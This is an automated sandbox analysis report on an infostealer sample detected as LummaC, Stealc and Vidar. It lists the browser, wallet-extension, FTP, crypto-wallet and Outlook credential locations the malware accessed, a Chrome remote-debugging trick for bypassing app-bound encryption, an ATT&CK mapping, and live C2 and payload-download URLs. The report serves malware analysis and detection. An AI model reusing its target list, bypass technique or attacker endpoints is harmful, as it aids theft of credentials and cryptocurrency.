Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Directory queried: C:\Users\user\Documents

Source: Yara match	File source: 00000000.00000003.1488723704.000000000168D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1489752084.000000000168D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1420787017.000000000168D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1493192986.000000000168D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1492511030.000000000168D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1491124712.000000000168D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1488234510.000000000168D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1492372678.000000000168D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1464746561.000000000168D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1487839489.000000000168D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1491891684.000000000168D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1443772797.000000000168D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1465136252.000000000168D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1489238865.000000000168D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2268868915.000000000109C000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1490281273.000000000168D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1493333668.000000000168F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 4TPPuMwzSA.exe PID: 7508, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0T9SUT3NIHPVYFO0WUKXI.exe PID: 8088, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 4TPPuMwzSA.exe PID: 7508, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000004.00000002.2268472466.00000000007BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2268868915.0000000000FD1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1685938522.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 0T9SUT3NIHPVYFO0WUKXI.exe PID: 8088, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: 0T9SUT3NIHPVYFO0WUKXI.exe PID: 8088, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CC50C40 sqlite3_bind_zeroblob,	4_2_6CC50C40
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CC50D60 sqlite3_bind_parameter_name,	4_2_6CC50D60
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB78EA0 sqlite3_clear_bindings,	4_2_6CB78EA0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CC50B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	4_2_6CC50B40
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB76410 bind,WSAGetLastError,	4_2_6CB76410
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB760B0 listen,WSAGetLastError,	4_2_6CB760B0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB7C030 sqlite3_bind_parameter_count,	4_2_6CB7C030
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB76070 PR_Listen,	4_2_6CB76070
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB7C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	4_2_6CB7C050
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB022D0 sqlite3_bind_blob,	4_2_6CB022D0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB763C0 PR_Bind,	4_2_6CB763C0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB79480 sqlite3_bind_null,	4_2_6CB79480
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB794F0 sqlite3_bind_text16,	4_2_6CB794F0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB794C0 sqlite3_bind_text,	4_2_6CB794C0
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Code function: 4_2_6CB79400 sqlite3_bind_int64,	4_2_6CB79400

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	41 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	2 Bypass User Account Control	11 Deobfuscate/Decode Files or Information	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	12 Process Injection	3 Obfuscated Files or Information	Security Account Manager	248 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	771 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Bypass User Account Control	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	361 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	361 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
4TPPuMwzSA.exe	58%	ReversingLabs	Win32.Trojan.Generic
4TPPuMwzSA.exe	100%	Avira	TR/Crypt.XPACK.Gen
4TPPuMwzSA.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\Documents\DBAEHCGHII.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\Documents\DBAEHCGHII.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://tacitglibbr.biz/MSWznTY69wwRW38B95EM	100%	Avira URL Cloud	malware
https://tacitglibbr.biz/pi	100%	Avira URL Cloud	malware
http://31.41.244.11/files/fate/random.exeXg%	0%	Avira URL Cloud	safe
http://31.41.244.11/files/fate/random.exe84760ac02b4ded8abeee1fbcd7e864	0%	Avira URL Cloud	safe
https://tacitglibbr.biz/5V	100%	Avira URL Cloud	malware
http://185.215.113.206;H	0%	Avira URL Cloud	safe
https://tacitglibbr.biz/apir2	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php----GV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8Kn	100%	Avira URL Cloud	malware
http://185.215.113.16/off/def.exeMn	0%	Avira URL Cloud	safe
https://tacitglibbr.biz/piw	100%	Avira URL Cloud	malware
http://31.41.244.11/files/fate/random.exe84	0%	Avira URL Cloud	safe
https://tacitglibbr.biz/api=	100%	Avira URL Cloud	malware
http://31.41.244.11/files/fate/random.exe8	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/msvcp140.dll0	100%	Avira URL Cloud	malware
https://tacitglibbr.biz/es	100%	Avira URL Cloud	malware
https://tacitglibbr.biz/s	100%	Avira URL Cloud	malware
https://tacitglibbr.biz/o~Kg	100%	Avira URL Cloud	malware
http://31.41.244.11/files/fate/random.exe1	0%	Avira URL Cloud	safe
http://31.41.244.11/files/fate/random.execodedSg	0%	Avira URL Cloud	safe
http://31.41.244.11/iles/fate/random.exej	0%	Avira URL Cloud	safe
http://31.41.244.11/1.244.11/files/fate/random.exe	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpPVYFO0WUKXI.exex	100%	Avira URL Cloud	malware
http://31.41.244.11/files/fate/random.exe8476	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/sqlite3.dllJ	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
tacitglibbr.biz	104.21.50.161	true	false	high
plus.l.google.com	172.217.17.46	true	false	high
www.google.com	142.250.181.68	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
sordid-snaked.cyou	false	high
http://185.215.113.206/	false	high
deafeninggeh.biz	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
effecterectz.xyz	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
wrathful-jammy.cyou	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
185.215.113.206/c4becf79229cb002.php	false	high
awake-weaves.cyou	false	high
immureprech.biz	false	high
debonairnukk.xyz	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
http://185.215.113.16/mine/random.exe	false	high
tacitglibbr.biz	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
diffuculttan.xyz	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high
https://tacitglibbr.biz/api	false	high
http://185.215.113.206/68b591d6548ec281/msvcp140.dll	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high
https://www.google.com/async/newtab_promos	false	high
https://www.google.com/async/ddljson?async=ntp:2	false	high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	4TPPuMwzSA.exe, 00000000.00000003.1421306801.0000000005FB8000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1421130611.0000000005FBB000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1421208570.0000000005FB8000.00000004.00000800.00020000.00000000.sdmp, GHIJJEGD.4.dr	false		high
